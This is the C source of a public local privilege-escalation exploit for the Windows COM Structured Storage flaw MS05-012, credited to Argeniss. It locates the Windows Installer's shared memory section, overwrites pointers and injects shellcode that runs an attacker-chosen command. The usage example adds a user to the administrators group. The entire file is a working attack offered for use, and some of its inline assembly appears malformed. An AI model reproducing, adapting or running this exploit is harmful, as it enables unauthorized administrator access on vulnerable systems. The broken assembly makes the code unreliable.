// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions 
// from msiexec service process with WinObj or crash the msiexec service and try again 
// if offsets don't work, debug and change them

#include <windows.h>
#include <stdio.h>

typedef struct _LSA_UNICODE_STRING {  
	USHORT Length;  
	USHORT MaximumLength; 
	PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJDIR_INFORMATION {
  UNICODE_STRING          ObjectName;
  UNICODE_STRING          ObjectTypeName;
  BYTE                    Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        
    PVOID SecurityQualityOfService;  
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;

typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;

typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT  NtOpenDirectoryObject;


DWORD WINAPI  LoadWinInstaller(LPVOID lpParam) 
{ 
	HMODULE hMsi;

	hMsi = LoadLibrary("msi.dll"); 
	MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
  //run unistall , without permissions this makes a windows pop up
  //while this window is showing the shared section is created and available on Windows Installer service process
	MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
  
	return 0; 
} 



int main(int argc, char* argv[])
{

  OBJDIR_INFORMATION *ssinfo  =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);

  HANDLE hFile,hThread,hMapFile; 
  HMODULE hNtdll ,hKernel;
  DWORD dwThreadId; 
  OBJECT_ATTRIBUTES obj;
  WCHAR  * uString=L"\\BaseNamedObjects";
  UNICODE_STRING str;
  DWORD i,a,iStrLen,b=0;
  char sObjName[30],sTmp[50];
  LPVOID lpMapAddress;
  FARPROC pWinExec,pExitThread;
  bool bFound;
  char* sCommand;


  if (!argv[1]||!argv[2]) {
	printf("\nUsage :\n	SSExploit \"Applicatoin to uninstall\" \"command\" \n");
	printf("\nExamples :\n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
	exit(0);
  }
    
  iStrLen=strlen(argv[2]);

  if(iStrLen>=65){
	printf("\n\"command\" must be less than 65 chars.\n");
	exit(0);
  }

  sCommand=argv[2];

  hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId); 

  Sleep(3000);

  hNtdll = LoadLibrary("ntdll.dll");    

  NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
  NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
  
  str.Length=wcslen(uString)*2;
  str.MaximumLength =wcslen(uString)*2+2;
  str.Buffer =uString;

  InitializeObjectAttributes (&obj, &str, 0, 0, 00);
  NtOpenDirectoryObject(&hFile,0x20001,&obj);

  printf("\nSearching for Shared Section...\n\n"); 

  // Get all objects names under \BaseNamedObjects

  if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
	do{ 
		bFound=FALSE;
		while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
		  //check if it's a section name	
			if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){             
				for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
					sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
				}
		      //check if it's the one we are searching for
				if (!strncmp(sObjName,"DfSharedHeap",12)){      
					bFound=1;
					break;
				}
			}
		}
		if (bFound)
			printf("Shared Section Found: %s\n",sObjName);
		else {
			printf("Shared Section Not Found");
			exit(0);
		}
    
		strcpy(sTmp,"Global\\");
		strcat(sTmp,sObjName);    //append global prefix to support Terminal Services	

		hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp); 
	
      //the shared section name couldn't be the one we are searching for
		if (hMapFile == NULL) 
			printf("Could not open Shared Section\n\n"); 
		else
			printf("Shared Section opened\n\n"); 
	
	} while (hMapFile == NULL) ;

	lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
 
	if (lpMapAddress == NULL) { 
		printf("Could not map Shared Section"); 
		exit(0);
	}
	else 
		printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n"); 

	hKernel=LoadLibrary("Kernel32.dll");
	
	pWinExec=GetProcAddress(hKernel,"WinExec");
	pExitThread=GetProcAddress(hKernel,"ExitThread");

	asm(    "movl %fs:($0x30), %eax\n\t"
                "movl 0xA8(%eax), %eax\n\t"
                "cmpl $0x0, %eax\n\t"
                "jz W2ksp4\n\t"
                "cmpl $0x1, %eax\n\t"
                "jz WinXPsp2\n\t"
                "jmp Win2K3\n\t"

        "W2Ksp4: \n\t"
                "movl $0x0101FFF0, %eax\n\t"
                "movl $0x01020004, %edx\n\t"
                "jmp Done\n\t"

        "WinXPsp2: \n\t"
                "movl $0x0086FFF0, %eax\n\t"
                "movl $0x00870004, %edx\n\t"
                "jmp Done\n\t"

        "Win2K3: \n\t"
                "movl $0x007BFFF0, %eax\n\t"
                "movl $0x007C0004, %edx\n\t"

        "Done: \n\t"
                "movl %ebx\n\t"
                "movl $0x1000, %ecx\n\t"

        "l00p: \n\t"
                "movl %eax, (%ebx)\n\t"
                "subl $0x4, %ecx\n\t"
                "addl $0x4, %ebx\n\t"
                "cmpl $0x0, %ecx\n\t"
                "jnz l00p\n\t"

                "movl %ebx\n\t"
                "movl %edx, (%ebx)\n\t"

                "leal Shellcode, %esi\n\t"
                "leal 4(%ebx), %edi\n\t"
                "leal End, %ecx\n\t"
                "subl %esi, %ecx\n\t"
                "pushl %esi\n\t"
                "pushl %edi\n\t"
                "cld\n\t"
                "rep\n\t"
                "movsb\n\t"

                "popl %edi\n\t"
                "popl %esi\n\t"
                "pushl %edi\n\t"
                "leal CommandBuf, %ecx\n\t"
                "subl %esi, %ecx\n\t"
                "addl %ecx, %edi\n\t"
                "movl sCommand, %esi\n\t"
                "movl iStrLen, %ecx\n\t"
                "rep\n\t"
                "movsb\n\t"
                "movl $0x00, [edi]\n\t"

                "popl %edi\n\t"
                "movl pWinExec, %esi\n\t"
                "movl %esi, 0x5(%edi)\n\t"

                "movl pExitThread, %esi\n\t"
                "movl %esi, 0x9(%edi)\n\t");

	printf("Command should have been executed ;)\n"); 
	CloseHandle(hMapFile);

  }
  else printf("Couldn't get object names \n");	

  return 0;

	asm("Shellcode: \n\t"
                "call getDelta\n\t"

                "movw $0xffff, %ax\n\t"
                "movw $0xffff, %ax\n\t"

        "CommandBuf: \n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"
                "movl $0x55555555, (%eax)\n\t"

        "getDelta: \n\t"
                "popl %edx\n\t"
                "pushl %edx\n\t"

                "pushl $0x1\n\t"
                "leal 0x8(%edx), %eax\n\t"
                "pushl %eax\n\t"
                "call *(%edx)\n\t"

                "popl %edx\n\t"
                "call *0x4(%edx)\n\t"

        "End: \n\t");
}


